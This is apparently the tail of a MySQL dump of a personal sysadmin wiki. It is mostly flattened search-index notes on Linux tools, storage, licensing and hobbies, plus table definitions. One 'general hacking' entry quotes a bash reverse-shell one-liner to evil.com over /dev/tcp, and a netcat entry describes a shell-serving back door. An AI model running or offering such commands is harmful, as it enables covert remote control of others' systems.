divisible by 8 it is easy to partition a drive so that it is aligned and the following links all provide examples however simply accepting the defaults given by the installer may well result in unaligned partitions as above  how to create aligned partitions  impact on lab systems impact on lab systems impact on lab systems desktop linux systems our kickstart based installs currently create unaligned partitions this will be easy enough to correct through the addition of pre scripts to correctly created the aligned partitions as show here of course you can manually create the partitions as well if don\'t forced the os will have unaligned partitions linux servers essentially the same information as given for desktop systems applies regardless of if installed via kickstart or from media care should be taken to ensure partitions are aligned virtualization this depends on the hypervisor and storage array being used for example if using kvm zen then the os partitions will need to be aligned from checking a few systems it appears vmware esxi 4 1 appears to align all os and vmfs partitions correctly at install time older versions of vmware such as esx 3 5 do not the guest os should then have it it\'s filesystem aligned as well see this article for more information here zfs lucid release notes lucid release notes lucid release notes by default ubuntu 10 04 lts aligns partitions on disk to 1 mib 1048576 bytes boundaries this ensures maximum performance on many modern disks particularly solid state drives but also new advanced format disks with physical sectors larger than the traditional 512 bytes very few systems nowadays need the old alignment used in the days of ms-dos when it was useful for partitions to start at the beginning of a cylinder in some rare cases optimal alignment may cause problems some bios implementations those on asus p5p800-mx and asus p5gz-mx motherboards have been reported to hang after installation it may be difficult to install microsoft windows xp and older after installing ubuntu although more recent versions of windows should be compatible with optimal alignment and indeed may produce it themselves if you find that you need to use the old cylinder alignment instead then add the partman alignment cylinder boot parameter when starting the installer 551965 resources resources resources drive label with windows xp notes ssd erase and raid strip boundary formatting wd linux notes re parted -a alignment type wd alignment utility  high load_cycle_count issue and dos utility to change it    the whole stack  it should be noted that this works as long as the filesystem begins at partition start md v0 90 metadata is at the end of partition so you\'re safe there but 1 1 is at the start of the partition so you need to make sure the real filesystem begins at a 4k aligned sector the same goes for lvm and similar and i guess filesystem should have atleast 4k or multiple of block size  kickstart partitioning   virtualization  '),(354,'high performance computing - hpc',' history of hpc history of hpc history of hpc some interesting photos of pioneering hpc systems can be found here cuda opencl cuda opencl cuda opencl see the page on cuda '),(355,'64-bit linux tips',' 32 bit compatibility libs different distors require you to install 32-bit compatibility libraries in slightly different ways  ubuntu  apt-get install ia32-libs you can also create a 32-bit chroot environment as described here  opensuse  zypper install compat-32-bit zypper can examine the libraries not just packages an rpm depends on simply running zypper install rpm name i686 will cause zypper to find the required 32-bit libraries needed nifty xen desktop xen desktop xen desktop cuda crossover games crossover games crossover games codeweavers test crossover on both 32 and 64-bit platforms as described here '),(356,'network booting - gpxe',' gpxe is an extremely useful tool which provides a plethora of network boot options such as booting using a wireless connection booting to an iscsi lun and many more options a good general intro can be found here command line command line command line a guide to gpxe command line tools is available here and http booting info here and an example of booting an initrd and kernel purely over http can be found here setting the dhcp options 209 and 210 is described here more information can be found in the rfc virtual box virtual box virtual box doe not seem to boot gpxe iso even those built with rom-o-matic and specifying the pci vendor and device ids for the virtualbox nics it hangs with loading gpxe krn ready thanks oracle might be related to this bug boot kernel og boot kernel og boot kernel og this site currently uses a gpxe 0 9 7 version which boots okay on virtualbox oracle '),(357,'ruby on rails',' it seems an increasing number of projects are using rails and so i\'ve been learning a bit more about it i\'ll be keeping track of notes on it as i go here note one very fast way to get started with rails to to install the bitnami ruby stack tutorials tutorials tutorials '),(358,'linux uninterruptible power supply',' general howtos see the notes regarding use seadoo marine replacement batteries for some apc upses monitoring deamons monitoring deamons monitoring deamons gnome kde integration gnome kde integration gnome kde integration apcupsd config apcupsd config apcupsd config note this all optionaly powerdevil in kde detected my apc ups with no other steps needed however to view detailed information about the ups and have graphs etc you may want to install this you may want to see the quick start guide here on suse 11 3 the ups was detected and added by udev as dev usb hiddev0 install the apcupsd packages in repos zypper install apcupsd apcupsd-gui to configure apcupsd edit vim etc apcupsd apcupsd conf change the following #upscable smart upscable usb #upstype apcsmart upstype usb #device dev ttys0 device dev usb hiddev 0-9 logging goes to tail var log apcupsd events start the service with the init script etc init d apcupsd restart you can test communication with the apc on the command line using apctest start the gui with gapcmon & kde powerdevil and plasmoid kde powerdevil and plasmoid kde powerdevil and plasmoid there seems to be a bug where powerdevil detects the ups fine but the power monitoring plasmoid does not see this thread for more details '),(359,'rack management tools',' here are notes regarding a few tools which can be used to manage data center racks and equipment create rack diagrams hold system notes etc demo available on home page good interface looks pretty easy system notes can be put into the device data ldap integration we _might_ be able to integrate it with other systems big brother nagios ocs inventory etc it is unclear how it handles virtual servers - we would just have to see this one looks pretty promising demo is at very fancy ajax interface drag and drop devices device thumb nails pictures etc has a fancy campus map with hot click areas for different buildings etc looks like ldap is supported main problem i see is it is a newer project not as established cool but racktables has a much larger community etc i\'ve sort of ruled out super simple and to the point gives rack simple rack views like racktables i\'m not sure how if it handles virtual machines might be a bit too basic although glpi is great and ties in with an excellent inventory control tool called ocs-ng it does not seem to provide the rack view and management we are looking for '),(360,'interactive data language - idl',' intro idl is a vector programming language created in the 1970s there is a good description of the language in the wikipedia article a commercial application called idl is offered by ittvis and a description of this can be found at the official site the company offering idl previously was rsi version 7 switched to using the eclipse framework for the development environment version 8 incorporated significant changes to the language introducing new functions etc idl runs in both a console mode idl and with a full ide idlde or idlde80 there are some great idl resources here which also references these programming examples here a good idl primer can also be found here licenses and downloads licenses and downloads licenses and downloads our environment includes versions 5 6 which are used by some web apps earlier versions and a newly installed instances of version 8 currently plot1 has both versions and is replacing plot which only has 5 6 and earlier versions there may be other servers running previous version of idl connecting to plot as the license manager however there is no clear record of which servers these may be we have i believe 6 licenses which are served out via flexlm an old license manger is running on plot but a new lm server has been installed on plot1 licenses can be updated to the new version by logging in at pete eby and forrest hoffman have credentials i\'ve bundled together everything for idl 8 and the license server including documentation into a single tarball located in root of plot1 open source alternatives open source alternatives open source alternatives the gnu data language gdl offers an open source alternative to idl it states it is completely compatible with idl code up to 7 1 and is implementing the new element of version 8 source code is avaialable from here binary packages are available for many common linux distros note dgl may also be referred to as tdl the data language in some instances such as at fresshmeat installation installation installation installation of the idl itself is pretty straight forward you can use the dvd or download the installer from the official site installation documentation is available on line and with the idl 8 tar ball containing everything in root on plot the install is essentially just untaring and running install sh x forwarding required the tricky part is the license you have to get it talking to the license server i did this by first upgrading the license by logging into our account at ittvis com then when installing the product choose activate a license using the internet which will open up an x forwarded browser log in click on the license number you want to assign click to agree to terms then click the activate license button this should then automatically push the license into the first window and the license wizard should now contain the info continue with the wizard and it will save the license perhaps to make sure you choose to install license manger and start license manager if you are setting up the lm on a server you should not need to do this as it is already set up on plot1 you can also run the license tool later with usr local itt idl idl80 bin ittlicense license manger license manger license manger note see the pdf advanced topic in licensing for full info available from the download site and it is with the root idl_8 tar gz bundle on plot1 uses flexlm for managing licenses by default logs to the console can be changed in the init script if installed see below listens on port 1700 or as defined in the license manager setup license server and port number is defined on first line of license file for example server my_server 80a7b73a 1700 for more information on configuring ports see this ittvis tech tip configuring server-based flexnet flexlm licensing through a firewall idl might use a license source different from lm_license_file if idl_lmgrd_license_file is defined in a flexlmrc file or as an environment variable for example in home user flexlmrc the lmgrd deamon runs the license server root plot1 # usr local itt idl idl80 bin lmgrd -help 11 03 19 lmgrd usage lmgrd -2 -p -z -c license_file_list 11 03 19 lmgrd -v -l debug_log_path -local 11 03 19 lmgrd -x lmdown lmremove -help vendor daemons are run by the above master root plot1 # usr local itt idl idl80 bin idl_lmgrd -help 11 05 11 idl_lmgrd flexnet licensing version v11 6 0 0 build 60117 amd64_re3 11 05 11 idl_lmgrd vendor daemons must be run by the license server manager lmgrd when running it should look something like root plot1 # ps aux grep lm root 23894 0 0 0 0 13748 1296 pts 1 s 08 33 0 00 usr local itt idl idl80 bin bin linux x86_64 lmgrd root 23895 0 0 0 0 32076 1956 ssl 08 33 0 00 idl_lmgrd -t plot1 11 6 3 --lmgrd_start 4ce3d995  license manager init scripts  ensure the lm server has been installed normally this is already done when you run the license wizard if not you an run the install_flexlm script see the document flexlm license server installation instructions start the server with usr local itt idl idl80 bin lmgrd -c usr local itt license license dat -l var log lmgrd log to install init scripts run lmgrd_install note this configures sys5_idl_lmgrd as an init script for example as etc init d sys5_idl_lmgrd you can edit certain setting there such as logging etc license troubleshooting license troubleshooting license troubleshooting there are a number of lm tools to use to configure and troubleshoot license manager issues root plot1 # usr local itt idl idl80 bin lm lmcksum lmdiag lmdown lmgrd lmgrd_install lmhostid lmremove lmstat lmutil errors and general issue errors and general issue errors and general issue  cannot connect to license server system  if you see the following when starting the license manger vendor daemon can\'t talk to lmgrd cannot connect to license server system -15 xxx operation now in progress solution this error is usually a dns or hosts file issue check your etc hosts file and verify that your ip address is correctly mapped to your hostname verify that the host name in the etc hosts file is the exact hostname in the license dat file from here and here you may also want to check the path to the license is correct as described here and of course ensure the firewall allows connections to port 1700  demos missing in idl 8  no they are there but there is no idldemo script any more just open it in the ide usr local itt idl idl80 lib hook demo save  libstdc 5 0 required  from the 8 0 release notes 55427 idl dataminer requires libstdc 5 0 third-party libraries used by the idl dataminer module require a library that may not be present by default on some newer linux systems if attempting to run the idl dataminer results in idl issuing an error similar to the following dlm_load error loading sharable executable u8c2a0u8c2a0symbol idl_load file rsi qa unix idl71 bin bin linux x86_64 idl_dataminer so u8c2a0u8c2a0libstdc so 5 cannot open shared object file no such file or directory execution halted at main you will need to install the appropriate libstdc compatibility library for your platform  missing libxp on 64-bit rhel  57381 missing 64-bit library in the case of red hat it seems that the necessary 64-bit package is the following libxp-1 0 0 8 1 el5 x86_64 x org x11 libxp runtime library customers though can still install that package and idl will work fine in the previous cr 47690 a note mentions that the rpm file named is libxp-1 0 0-8 x86_6 4 rpm x86_64 sites and documentation sites and documentation sites and documentation install guides release notes and product downloads are all available from i\'ve bundled together everything for idl 8 and the license server including documentation into a single tarball located in root of plot1 documentation file usr local itt idl idl80 help license_help lw_existing_server html file usr local itt idl idl80 help online_help idl idl html sites '),(361,'parallel compression tools',' intro both gzip and bzip can obtain significant performance increases from a parallel implementation my initial testing with pigz vs gzip shows a 3 to 4 fold increase in compression and up to a 15 increase in decompression tests were simply run against compressing decompressing a linux kernel source tree with file system and drive caches flushed between runs compiling and using these tools is trivial pigz pigz pigz a parallel implementation of gzip for modern multi-processor multi-core machines while decompression itself is still handles by one thrad the manual explains decompression canu8e28099t be parallelized at least not without specially prepared deflate streams for that purpose as a result pigz uses a single thread the main thread for decompression but will create three other threads for reading writing and check calculation which can speed up decompression under some circumstances parallel decompression can be turned off by specifying one process -dp 1 or -tp 1 pigz sample test pigz sample test pigz sample test  compression   callandor sda3 test # time gzip kernel tar real 0m17 091s user 0m16 311s sys 0m0 217s callandor sda3 test # cd callandor # mount -o remount sda3 callandor # cd - callandor sda3 test # hdparm -f -t -t dev sda dev sda timing cached reads 17824 mb in 2 00 seconds 8920 04 mb sec timing buffered disk reads 272 mb in 3 00 seconds 90 59 mb sec callandor sda3 test # time pigz kernel tar real 0m3 699s user 0m26 936s sys 0m0 314s  decompression   callandor sda3 test # time gunzip kernel tar gz real 0m2 679s user 0m2 437s sys 0m0 237s callandor sda3 test # cd callandor # mount -o remount sda3 callandor # cd sda3 test callandor sda3 test # hdparm -f -t -t dev sda dev sda timing cached reads 18576 mb in 2 00 seconds 9296 86 mb sec timing buffered disk reads 240 mb in 3 01 seconds 79 83 mb sec callandor sda3 test # rm kernel tar callandor sda3 test # cp kernel tar gz-bak kernel tar gz callandor sda3 test # time unpigz kernel tar gz real 0m2 304s user 0m2 000s sys 0m0 361s parallel bzip2 parallel bzip2 parallel bzip2 parallel netcdf parallel netcdf parallel netcdf very interesting tool for netcdf data sets can be found here general faq on netcdf is here parallel hdf5 parallel hdf5 parallel hdf5  hierarchical data format  information on szip used in hdf an be found here interesting presentation on hdf i o performance hdf4 files can be converted to hdf5 gpu compression gpu compression gpu compression not really see here '),(362,'tools for manipulating pdfs',' there are some great tools is linux for manipulating pdfs here are a few to experiment with pdftk pdftk pdftk the pdf toolkit pdftk and it it\'s gui are available in the repositories of most distros you can easily split and merge pdfs very quickly see the linux journal article for command line examples such as on the other hand i found pdftk pdftk\'s ability to remove specific pages from a pdf file to be useful for example to remove pages 10 to 25 from a pdf file you\'d type the following command pdftk mydocument pdf cat 1-9 26-end output removedpages pdf you can also attach files to a pdf including tar gz files etc pdfsam pdfsam pdfsam similar to pdftk this tool is available here cups pdf printer cups pdf printer cups pdf printer you can also install a pdf printer - very handy for printing out those forms which don\'t allow you to save them etc see cups-pdf print driver for the steps to configure '),(363,'mythtv project',' eventually i\'m going to build a mythtv box possible recorders i wonder what i\'ll use to record the video possible cases '),(364,'neverwinter nights on linux',' i love the classic neverwinter nights games series by bioware my wife and love to play it even better - it runs perfectly with native linux binaries provided from bioware there are a few tricks to get it to work however basic install basic install basic install download the linux client binaries and game update patch from bioware full instruction are there and the bioware forums has additional information if you are using a special edition version of the game also it appears you can buy this online from good old games including cd keys for 10 see here sdl lib sdl lib sdl lib use the sdl libraries with your distro not the ones with the game edit the nwn script to remove the game version from the path export ld_library_path miles ld_library_path 64-bit issues 64-bit issues 64-bit issues ensure you have a 32-bit version of sdl installed libsdl-1_2-0-32bit for the videos you will also need the 32-bit libx11 libs xorg-x11-libx11-32bit-7 5-1 23 x86_64 if you are getting this error in nwmovies log unable to dlopen libx11 so libx11 so then you may need to symlink ln -s usr lib libx11 so 6 usr lib libx11 so videos videos videos follow david holland holland\'s great guide and readme located here get the binkplayer from here binkplayer also needs the sdl mixer again in 32-bit libsdl_mixer-1_2-0-32bit libsdl_mixer-1_2-0 the current link for the movie scripts is more info on getting movies to work can be found on the bioware forum desktop icons desktop icons desktop icons a package of desktop icons nicely done in various sizes is available here which you can use to make a desktop link other sites other sites other sites the original linux game installer sound issues videos and libraries needed '),(365,'netcat tricks',' there are so many cool things to do with netcat here are some guides and i\'ll add tips and tricks for using it as i go guides guides guides exec function exec function exec function not all versions of netcat are compiled with the exec function; with good reason you can have netcat listen on a port and when a connection is made shovel a bash shell - instant root back door of course there are less malicious uses too should your version of netcat not support exec compiling it from source is trivial reverse bash shell reverse bash shell reverse bash shell here is a way to do a reverse shell without even needing netcat on the target very interesting it uses a network node descriptor and echos read to it '),(366,'machine check error log - mcelog',' overview home page is and contains good general information as well as configuration use of triggers etc from the freshmeat description  mcelog is a daemon to handle machine check events hardware errors on x86-64 machines running an x86 linux kernel it accounts and logs cpu and memory errors supports triggers on error thresholds and can predictively offline memory pages and cpus based on error trends this daemon should run on all x86 linux systems that want to handle hardware errors   and from man mcelog x86 cpus report errors detected by the cpu as machine check events mces these can be data corruption detected in the cpu caches in main memory by an integrated memory controller data transfer errors on the front side bus or cpu interconnect or other internal errors possible causes can be cosmic radiation instable power supplies cooling problems broken hardware or bad luck most errors can be corrected by the cpu by internal error correction mechanisms uncorrected errors cause machine check exceptions which may panic the machine when a corrected error happens the x86 kernel writes a record describing the mce into a internal ring buffer avail- able through the dev mcelog device mcelog retrieves errors from dev mcelog decodes them into a human readable format and prints them on the standard output or optionally into the system log examples examples examples note use mcelog --client to see the current state of the damon this gets logged to var log messages log save across reboot  modern linux kernels since 2 6 31 automatically do a warm reset after a machine check panic unless something goes wrong like some platform mechanism forcing a power switch on reboot the machine check will then be logged after the reboot in some cases server bios do clear and log machine checks during boot in this case you may need to look for the machine check data in the bios log   callandor data paracelsusold # mcelog dev mcelog mcelog unsupported new family 6 model 1e cpu only decoding architectural errors hardware error this is not a software problem please contact your hardware vendor mce 0 cpu 2 thermal event tsc 8a8e4d168280e time 1292172488 sun dec 12 11 48 08 2010 processor 2 heated above trip temperature throttling enabled please check your system cooling performance will be impacted status 880003c3 mcgstatus 0 mcgcap 1c09 apicid 4 socketid 0 cpuid vendor intel family 6 model 30 mcelog unsupported new family 6 model 1e cpu only decoding architectural errors hardware error this is not a software problem please contact your hardware vendor helpful sites helpful sites helpful sites nagios integration and log rotate with cron red hat tips sys node locations '),(367,'grsecurity kernel hardening',' getting started download the latest test and stable versions of the kernel patch from here some very general guides official documentation is at the quickstart guide is at grsecurity net quickstart pdf superfast guide superfast guide superfast guide wget wget wget patch -p0 grsecblah-blah make prepare if needed copy over config it you like make menuconfig time make -j8 rpm make install if you like mkinitrd -k boot blah mkinitrd -k full-kernel-name -i whatever-initrd-name img nx xd cpu flags nx xd cpu flags nx xd cpu flags so why doesn\'t it work 32-bit pae kernels 32-bit pae kernels 32-bit pae kernels why this is good kernel config options kernel config options kernel config options testing grsec wget use the above version if building in a 64-bit environment make linux should do fine tons o\' sites tons o\' sites tons o\' sites includes fun stuff with scanelf and elfdump linux pax vs execshield an execshield perspective article here  tutorials  '),(368,'desktop performance kernel patch',' phoronix reported on a 200 line kernel patch which greatly improved desktop performance a red hat developer then offered that the same thing could be achieved by turning on cgroups in a users bash profile details of which are here some interesting discussions on this tips tips tips after local as an alternative to boot local factory has kernel in head repo with this patch enabled a script to enable this on suse 11 3 is available in this post '),(369,'opensuse configurations',' after installing opensuse these things are nice and are one click installs '),(370,'guitar playing stuff',' lesson sites intro first cords basic music theory on the guitar intro scales etc scales & chords scales & chords scales & chords 5 basic scales with good explanation are here natural note scale various fingering for chords tab sites tab sites tab sites songsterr is pretty good flash based tab player free basic access guitarworld and xguitar also have some decent tabs books books books jack configuring jack for real time kernels midi midi midi m-audio mobilepre usb audio interface this is a usb powered good quality midi interface with multiple inputs and outputs most m-audio gear and the above mobilepre are reported to work extremely well with linux more basic linux compatible interfaces include m-audio uno edirol um-1sx yamaha ux16 midi links linux music software linux music software linux music software  64studio  a whole distro to feed your real time music needs there are also ubuntu and suse based music distros available such as  rakarrack  rakarrack is a guitar effects processing suite providing a full range of effects processing linux guitar pedal board on a stick a binary version for suse 11 3 is here  ardour  look for a binary on rpm pbone net  rosegarden   hydrogen  you will need fluidsynth a soundfont like fluid-soundfont or fluid-soundfont-gm along with jack and qjackctl  zynaddsubfx   linux multimedia studio   tiny ear trainer  available at 29a ch tinyeartrainer  other  a good forum post for linux tools can be found here good overall audio site hardware interfaces hardware interfaces hardware interfaces 1 4 to usb input for about 40 well supported under linux per rakarrack site lightsnake stusbg10 lightsnake usb instrument cable '),(371,'megaraid cli','  getting started  lsi offers the megaraid cli tool which is a bit cryptic to use here are some pointers to get started with it download it from the lsi website - look for a recent version of megaraid cli for example here quick reference guide is available here  alternative  einarc may be a good alternative to the megaraid cli it provides a unified intereface to various raid devices with a better interface  examples  here is a blog post with some helpful hints list all drives then get info on a specific one root host # opt megaraid megacli megacli64 -pdlist -aall pdlist txt root host # opt megaraid megacli megacli64 -pdinfo -physdrv 0 4 other interesting stuff root host # opt megaraid megacli megacli64 -adpallinfo -aall root host # opt megaraid megacli megacli64 -adpeventlog -getevents -f events log -aall && cat events log root host # opt megaraid megacli megacli64 -cfgddsply -a2 cfgdsply txt replacing a drive from the above referenced quick reference by moritz mertinkat the steps to replace a drive would be 8 walkthrough change replace a drive 1 set the drive offline if it is not already offline due to an error megacli -pdoffline -physdrv e s -an 2 mark the drive as missing megacli -pdmarkmissing -physdrv e s -an 3 prepare drive for removal megacli -pdprprmv -physdrv e s -an 4 change replace the drive 5 if youu8e28099re using hot spares then the replaced drive should become your new hot spare drive megacli -pdhsp -set -physdrv e s -an 6 in case youu8e28099re not working with hot spares you must re-add the new drive to your raid virtual drive and start the rebuilding megacli -pdreplacemissing -physdrv e s -arrayn -rown -an megacli -pdrbld -start -physdrv e s -an another good resource is here showing for example how to determine the arguments to use to run a rebuild on an array when a new drive is not automatically recognized megacli and smartctl megacli and smartctl megacli and smartctl to get the device id within the array say if you know per dell openmange that the drive is in slot 4 query with root daacdb1 smartmontools-5 40 # opt megaraid megacli megacli64 -pdinfo -physdrv 0 4 -aall enclosure device id 0 slot number 4 device id 11 sequence number 4 media error count 0 other error count 6 predictive failure count 1 from the above we learn this failed drive is device id 11 so we can now query it using smartctl to see the full smart info root daacdb1 smartmontools-5 40 # usr local sbin smartctl -a -d megaraid 11 dev sdc note this requires a recent version of smartmontools '),(372,'interesting blogs',' sure - rss is great but i think i\'ll list these here too '),(373,'contact management solutions','  contact management  sugarcrm use ldap for your personal address book hey why not  note taking stuff   '),(374,'phpchain password manager',' i love phpchain - it a nifty little web based method to manager your passwords stores them in an encrypted database easy to use interface etc latest version is here test drive it at '),(375,'general hacking',' a wonderful implementation of netcat with a simple bash script on the target that created a network node in proc to read and write from it is so cool i am reproducing it here with full props to gnucitizen com although netcat is quite useful and you may have to use it in most cases here is a simple technique which emulates what exactly netcat does but it relies on bash only letu8e28099s see how in step one we start a listening service on our box we can use netcat or whatever you might have in hand nc -l -p 8080 -vvv on the target we have to perform some bash-fu we will create a new descriptor which is assigned to a network node then we will read and write to that descriptor exec 5 dev tcp evil com 8080 cat &5 while read line; do line 2 &5 &5; done there you go now everything we type in our local listening server will get executed on the target and the output of the commands will be piped back keep in mind that we donu8e28099t use any 3rd-party tools on the target but its default shell this technique comes extremely handy in many situations and it leaves very small footprint on the targeted system '),(376,'rack management software',' how do we manage all this stuff well known application has various plugins available fancy interface and a neat campus mapping utility looks very promising but has not been around as long as racktables '),(377,'binary search tree',' binary search trees are fun also see red black tree newer versions of the linux kernel rhel6 use a scheduler that employs a red black tree methodology '),(378,'dnssec dns security extenstions',' sandia national labs provides a very interesting dnssec visualization tool some good general info on implementing dnssec is here of course general info can also be found at the wikipedia article a simple example of using dig to query for dnssec records is here firefox plug in is available here '),(379,'pidgin im client',' plugins plugins plugins themes themes themes start pidgin and specify the gtk theme to use with gtk2_rc_files usr share themes insertthemefolderhere gtk-2 0 gtkrc pidgin ms communicator ms communicator ms communicator using pidgin with office communicator can be done using the sipe plugin this is typically in most distros standard repos these days '),(380,'avant window navigator',' i keep meaning to play around with this at some point each time i try the packages though they inevitably seem broken might have to actually figure it out some day '),(381,'ssh tunnels and port forwarding',' just some decent sites on ssh port forwarding local and remote example ssh -p ssh_port paracelsus blargh timelordz com -l 1234 blargh timelordz com 80 '),(382,'rock band and guitar hero',' instruments  guitars  logitech ps3 ps2 wireless guitar controller asin b001ntbwk4 product number 939-000128 logitech number ces10040 seems to work in rock bank with firmware 2 80 works in rock band 2 per this cnet review  drums  ion drum rocker or ied08 iedc3 etc madcatz - 284  compatibility matix  '),(383,'mirror ftp tool',' getting mirror although it is a bit old i\'ve found this tool to be pretty handy to use to mirror the contents of an ftp site someplace it allows for an automated mirror to do done via cron supports many options and is easy to deploy the one problem you might have is actually finding it these days it used to be available and sunsite but is no longer there it may be in your package manager the last release version was i believe 2 9 there was also a patch to the main perl script after that to implement passive mode detection on some newer ftp servers see below you should be able to get a debian package from otherwise just grab it from filewatcher or google mirror-2 9 tar gz documentation documentation documentation included with package and a summary is also here some helpful additional sites configuration configuration configuration specified site configurations and options are created as packages mysite_mirror note that there are  many  options available which can be found both in the documentation and by looking at mirror and mirror defaults defaults are actually defined in both places and will be overridden with options specified in your packages mysite file the sample template is very basic and you will likely need to add options to it such as remote_user username etc recursive directories one issue i had was getting mirror to descend into subdirectories this was corrected by adding recurse_hard true and prepending the remote_dir with rather then using a relative path my working sample config was then package my-mirror comment mirror of data from someplace site someplace com remote_user username passive_ftp true recurse_hard true # needed to get subdir contents # where to start pulling files back from remote_dir root_dir #the leading for absolute paths is needed when using recurse_hard above # where to put the files on your machine #local_dir public mirrors ftp some_useful_site com pub local_dir mirror_repo running running running simply run mirror and specify the above config file use -d for verbose debug information to resolve any issues root hoss mirror-2 9 # mirror -d packages someplace com timed out error timed out error timed out error failure at end of remote directory because timed out cannot get remote directory details ldp patch to address the above is available here vsftp config vsftp config vsftp config note this is in etc vsftpd conf your ftp server may have a similar option # you may activate the -r option to the builtin ls this is disabled by # default to avoid remote users being able to cause excessive i o on large # sites however some broken ftp clients such as ncftp and mirror assume # the presence of the -r option so there is a strong case for enabling it #ls_recurse_enable yes '),(384,'bbcp transfer utility',' bbcp is a parallel data transfer utility from stanford linear accelerator center slac which supports some interesting options it can be used to transfer large files and it can break the transfer up into multiple simultaneous streams and resume from interrupted transfers information precompiled binaries and source code are available here some examples showing how to use the utility are here note if transferring from jaguar see the dedicated data transfer node information here building building building i had to compile with gcc 4 1 as 4 3 and 4 5 produce various scope declaration errors such as bbcp_file c 214 error u8e28098cerru8e28099 was not declared in this scope bbcp_file c 214 error u8e28098endlu8e28099 was not declared in this scope bbcp_file c 214 error u8e28098flushu8e28099 was not declared in this scope bbcp_file c 218 error u8e28098cerru8e28099 was not declared in this scope bbcp_file c 218 error u8e28098endlu8e28099 was not declared in this scope bbcp_file c 218 error u8e28098flushu8e28099 was not declared in this scope bbcp_file c 232 error u8e28098sprintfu8e28099 was not declared in this scope i assume this this is due to changes in the header files over time etc it compiled fine with gcc 4 1 on opensuse 11 3 and rhel 4 but not with newer versions of gcc i also noticed the makefile for linux links against libz a however it seems newer versions of zlib-devel only provide libz so this is true for rhel 6 and opensuse 11 3 libz a is still present in rhel 5 linking therefor fails as it can\'t of course find it updating the makefile to use libz so linked fine recursive directories recursive directories recursive directories unlike scp the following will not work to copy directory contents user host bbcp -r -p 2 -v -w 8m -s 16 testtrans target home joe this will error and not transfer the individual files within testtrans the error would be bbcp no such file or directory opening home joe testtrans somefile txt to copy the entire directory not just contents simply use user host bbcp -r -p 2 -v -w 8m -s 16 testtrans target home joe resuming transfers resuming transfers resuming transfers if the first transfer fails you can add the -a option which will check for and skip existing files '),(385,'rdesktop tricks',' tunnel one app tunnel one app tunnel one app run a single app tunneled through rdesktop rather than an entire desktop environment with seamlessrdp connect to console connect to console connect to console don\'t you hate trying to connect and getting no connections left just connect to the console session by adding -c to your rdesktop command '),(386,'cetus source-to-source compiler',' cetus is a a source-to-source compiler infrastructure for c programs this nsf sponsored project is being developed by purdue university the official home page is here openmp to gpu openmp to gpu openmp to gpu one very interesting aspect of cetus is its ability to transform openmp code to cuda c for running on gpus this functionality is still in early development but is included as of the cetus 1 2 1 release which can be downloaded at the above link  building cetus  cetus is a java utility and compiling is trivial i built it with sun java 1 6 0u22 jdk and antlr 2 7 7 with no issues simply download cetus and modify build sh for the path to the antlr library i ran build bin and the resulting cetus wrapper script was built in the bin directory for information on openmp to cuda options see the file readme omp2gpu included in the release as well as the release notes additional information additional information additional information the release notes reference a number of papers for further information and the cetus documentation site has additional papers and tutorials available '),(387,'kickstart scripting',' send the output of pre and post scripts to the graphical display post --nochroot --interpreter bin sh rxvt -fn fixed -geometry 80x40-5-5 -e bash postinstall sh '),(388,'dnssec tools','  dns sec visualizer  great tool developed by sandia national lab which graphically shows the dns sec chain from the root server up  firefox plugins  dnssec - shows an icon in url next to favicon giving status of dns sec '),(389,'citrix xenapp',' download the cirtix client for the citrix site look under xenapp -- presentation server 4 0 for unix -- linux download and install the icaclient tar gz or rpm requires openmotif '),(390,'modis big data system','  dl580 g7  dl580 g7 quick specs here power specs here hp array configuration utility readme eg hpacucli ctrl all show config detail detail hp array diagnostic utility readme nagios plugin for array config utility check_cciss - hp and compaq smart array hardware status can be found here  d2600 arrays  d2600 quick specks are here  other  ups data '),(391,'modu800 security configuration',' mod_security foru800 apache isu800 au800 great tool. there areu800 au800 fewu800 things that might creep upu800 with using itu800 however.  manual install  install instructions areu800 included. also seeu800  rules  rule sets areu800 available from theu800 modsecurity site. anu800 alternative rule setu800 isu800  configserver interface  configserver offers au800 mod_security interface foru800 cpanel available frou800 here  cpanel peru800 domain control   other general cpanel info    joomla andu800 mod_sec  sometime youu800 need tou800 play around with theu800 mod_rewrite rules inu800 joomla joomla\'su800 .htaccess tou800 getu800 itu800 tou800 play nice with mod_security '),(392,'webserver security tools',' also seeu800 webserver benchmark tools nessus au800 defacto standard vulnerability scanning tool. nikto au800 perl script which analyzes au800 webserver foru800 common vulnerabilities ');
/*!40000 ALTER TABLE `mw_searchindex` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_site_stats`
--

DROP TABLE IF EXISTS `mw_site_stats`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_site_stats` (
  `ss_row_id` int(10) unsigned NOT NULL default '0',
  `ss_total_views` bigint(20) unsigned default '0',
  `ss_total_edits` bigint(20) unsigned default '0',
  `ss_good_articles` bigint(20) unsigned default '0',
  `ss_total_pages` bigint(20) default '-1',
  `ss_users` bigint(20) default '-1',
  `ss_admins` int(11) default '-1',
  `ss_images` int(11) default '0',
  `ss_active_users` bigint(20) default '-1',
  UNIQUE KEY `ss_row_id` (`ss_row_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_site_stats`
--

LOCK TABLES `mw_site_stats` WRITE;
/*!40000 ALTER TABLE `mw_site_stats` DISABLE KEYS */;
INSERT INTO `mw_site_stats` VALUES (1,60123,1386,176,389,5,1,28,0);
/*!40000 ALTER TABLE `mw_site_stats` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_tag_summary`
--

DROP TABLE IF EXISTS `mw_tag_summary`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_tag_summary` (
  `ts_rc_id` int(11) default NULL,
  `ts_log_id` int(11) default NULL,
  `ts_rev_id` int(11) default NULL,
  `ts_tags` blob NOT NULL,
  UNIQUE KEY `tag_summary_rc_id` (`ts_rc_id`),
  UNIQUE KEY `tag_summary_log_id` (`ts_log_id`),
  UNIQUE KEY `tag_summary_rev_id` (`ts_rev_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_tag_summary`
--

LOCK TABLES `mw_tag_summary` WRITE;
/*!40000 ALTER TABLE `mw_tag_summary` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_tag_summary` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_templatelinks`
--

DROP TABLE IF EXISTS `mw_templatelinks`;
